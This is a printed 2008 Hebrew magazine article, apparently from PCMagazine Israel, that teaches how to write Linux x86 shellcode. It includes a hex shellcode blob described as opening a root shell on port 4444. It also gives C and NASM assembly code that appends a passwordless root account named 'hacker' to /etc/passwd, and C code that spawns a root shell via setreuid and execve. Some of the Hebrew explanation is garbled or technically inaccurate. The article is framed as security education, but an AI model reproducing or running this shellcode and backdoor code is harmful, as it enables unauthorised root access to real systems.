- PCMagazine - http://www.pcmagazine.co.il -
Shellcodes ו Exploits …
נכתב ע''י אדיר רצון בתאריך 18 ביוני 2008 @ 22:53 בקטגוריה אבטחת מידע | אין תגובות
זוהי לא משימה קלה לנסות ולמצוא לשירות חיוני Exploit. אך במידה ואתם מנהלי רשת, גם זוהי לא משימה קלה לנסות ולהגן מפני השימוש ב Exploits על המערכת שלכם. כתבה זו לא עוסקת ב- "איך לכתוב Exploits" או כל המשתמע מכך. כתבה זו עוסקת בצעד אחר צעד ליצירת "Shellcode", נקודה מכרעת בכל פיתוח אחר Exploit לתוכנה.
קחו כל Exploit שהורדתם מהאינטרנט, שמבטיח לכם "Root Shell" במערכות מרוחקות, וחקרו את קוד המקור שלו. חפשו אחר החלק הכי לא מובן של הקוד; הוא יהיה שם על בטוח. רוב הפעמים, תמצאו כמה שורות מוזרות ולא מובנות שמלוות בתגים מוזרים; משהו שנראה כך:
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";
זהו ה- "Shellcode" . מדי פעם מעדיפים לקרוא לו "bytecode". תוכנו הוא לא איזו מילת קסמים נסתרת או כמה תווים רנדומאלית, אלא שתווים אלה הם סט של ניצול אבטחה נמוכה במערכת, ע"י שורת פקודות- שהן בדיוק כמו להריץ קובץ הפעלה (executable).
הדוגמא של ה- Shellcode בדוגמא שלנו, פותחת את הפורט 4444 בשרת לינוקס ובעצם משווה את ערכיו למנהל ברמת "Root", כך שכל הרשאותיו פתוחות. בעזרת Shellcode, תוכלו גם לכבות מערכות, לשלוח קבצים, אימיילים ועוד. עיקרה של כל תוכנת Exploit כזו או אחרת היא בעצם לגרום ל- Shellcode, לעבוד!
לדוגמא, תופעה נפוצה של עודף טעויות Buffer בקוד של תוכנה. מפתחים, לעיתים קרובות בודקים מידע שהתקבל כ: "מידע לנוסחה".
דוגמא פשוטה:
המפתח יוצר איזור דינמי, ומקצה עבורו 100bytes ואינו שולט במספר האלמנטים האמיתי. כל האלמנטים שמחוץ לגבולות האיזור הדינמי יסודרו בנפרד, כך נוצר או\ו נקרא "Buffer Overflow". משימת ה- Exploites, היא בעצם לעקוף את ה- Buffer, ואחר כך לשנות את כתובת החזרה של המערכת לכתובת המופיעה ב Shellcode . במידה ו Shellcode יכול לקחת שליטה, הוא יוצא לפועל, זה די פשוט .
כמו שכבר כתבתי, כתבה זו היא לא מדריך לכתיבת Exploits, יש המון מאגרים בהם תוכלו למצוא Shellcode שערוך ומוכן לפקודתכם (shellcode.org, Metasploit) ; בכל אופן, זה לא תמיד מספק. Shellcode, הוא בעצם אות low-level (אות שקט שקרוב לשפת הסף שהמערכת לא מזהה כעוין בד"כ). לכן כאשר מבינים כיצד זה עובד, זה יתרום הרבה לשיפור האבטחה במערכת שלכם.
בשביל מה זה ?
בשביל להמשיך לעומק את הכתבה הזו, אני מצפה שתהיה לכם לפחות רמת Assembly באופן בסיסי, וזה, בכדי לנסות לבצע ניסויים בשפת ה- Shellcode. אני בחרתי ב Linux במעבד x86, רוב האקספלוייטים מזדהים עם שירותי Unix, אחרי הכל הם הכי נפוצים, מה שהופך אותם למעניינים. אתם תצטרכו כמה כלים בסיסיים: Netwide Assembler (nasm), Ndisasm, ו- Hexdump. רוב מערכות הלינוקס מובנות עם תוכנות אלה בתוכן.
Shellcodes נכתבים בד"כ בשפת Assembly. בכל זאת, הרבה יותר קל ללמוד כיצד הם עובדים במידה וכותבים אותם בשפת C, ואז מתרגמים את הקוד שכתבתם ב C, לשפת Assembly. זוהי דוגמת קוד בשפת C, אשר מוסיפה משתמש למחיצת ה /etc/passwd .
#include
#includemain() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}
כל הקוד הזה הוא דיי פשוט, למעט פונקציית ה open() אולי. O_WRONLY|O_APPEND הקבוע, מוצע כפרמטר בכדי לפתוח את ההרשאות לכתיבה (Writing), ומוסיף את העובדות שנכתבו בסוף התחביר..
הנה עוד דוגמא ליצירת Bourne shell:
#include
main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}
המשתנה "setreuid(0,0)" מנסה בעצם להשיג הרשאות root (במידה וזה אפשרי). execve(const char filename,const char[] argv, const char[] envp) זוהי קריאה הכרחית למערכת שמוציאה לפועל כל קובץ בינארי או סקריפט, יש לה שלושה פרמטרים:
• Filename: כאן יהיה הנתיב המלא של קובץ ה executable (קבצי מערכת לרבות exe)
• Argv[]: כאן יהיה ערך הפעולה.
• Envp[]: זוהי ערך המחרוזת של הפורמט key=value.
כל הערכים חייבים להסתיים באלמנט NULL (ריק). כעת, קח לעצמך בחשבון כיצד לשכתב קוד שנכתב בשפת C, לשפת אסמבלר כפי שהודגם בדוגמא הראשונה. מערכת אסמבלר שמבוססת על מעבדי x86, מגיעה עם כלים מגוונים לעזרה, אשר קוראים את מספר הפקודות מרשומות ה EAX ומתקנות\מתאימות את הקוד שכתבת.
הקודים של הפקודות שאתה יוצר, נשמרים תחת המחיצה " /usr/include/asm/unistd.h." לדוגמא: שורה בקובץ, #define __NR_ open 5 , משמעותה שהפונקצייה open() מזדהה עם הספרה 5. בצורה דומה, אתה יכול למצוא את כל שאר קודי הפונקציות: exit() היא 1, Close() היא 6, setreuid() היא 70, ו execve() היא 11. הידע הזה מספיק בכדי לכתוב אפליקצייה בסיסית שתעבוד. בכדי לשנות תוכן במחיצת ה /etc/passwd. התחביר ב- Assembly יהיה כך:
section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0asection .text
global _start_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80; close(f_open)
mov eax, 6
int 0x80; exit(0)
mov eax, 1
mov ebx, 0
int 0x80
תכנות ב Assembly מכיל שלושה חלקים: חלק המידע (data) – שמכיל משתנים; חלקי הקוד מכילים הוראות לכתיבה נכונה של הקוד, ומאפשרים מקום מיוחד לסדר את החומר שנכתב, שזהו החלק השלישי. הדוגמה להלן מנצלת רק מידע (data) ומקטעים של קוד. המקטעים של הקוד מכילים הצהרה של שני משתנים; name , ו- line, ומתעקשים על סט של bytes .
מקטע הקוד מתחיל בהצהרה של נקודת התחלה: global_start, זה בעצם אומר למערכת שקוד התוכנה מתחיל בתג ה _start.
השלב הבא פחות קשה, בכדי לקרוא לפונקצייה open(), קבע את רשומת ה- EAX למשתנה המתאים. בשלב זה הוא: 5. לאחר מכן, העביר את הפרמטרים לפונקציה. הדרך הכי פשוטה לעשות זאת, היא על ידי ניצול של הרשומות (registrys) EBX, ECX ו EBX . EBX, משיג את הפרמטר הראשון של הפונקצייה, הכתובת ההתחלתית של המחרוזת והמשתנים, שבעצם מכילה את הנתיב המלא לקובץ עצמו, ותסתיים במשוואה 0. (רוב פונקציות המערכת דורשות את המשוואה "NULL").
רשומת ה- ECX משיגה את הפרמטר השני שלנו, נותנת לנו מידע על מצב הקבצים הפתוחים, (ברצף של- O_WRONLY|O_APPEND בפורמט מספרי) . במצב שכל הפרמטרים משובצים, הקוד יוצא לפועל ויוצר שגיאת 0×80. הוא ייקרא את הפונקצייה מרשומת ה- EAX ויחשב כמתאים ע"י המערכת .
לאחר שהסתיימה הקריאה מהערכת שלנו דרך ה- EAX, האפליקצייה תמשיך, ותעובד בסדר write() , close(), ו- exit() בדיוק באותה הצורה !
הכתבה הודפסה מאתר PCMagazine: http://www.pcmagazine.co.il
קישור לכתבה: http://www.pcmagazine.co.il/security/pid=76&name=%d7%90%d7%99%d7%9a-%d7%9e%d7%95%d7%a6%d7%90%d7%99%d7%9d-exploit
לחץ כאן להדפסה.
Copyright © PCMagazine. All rights reserved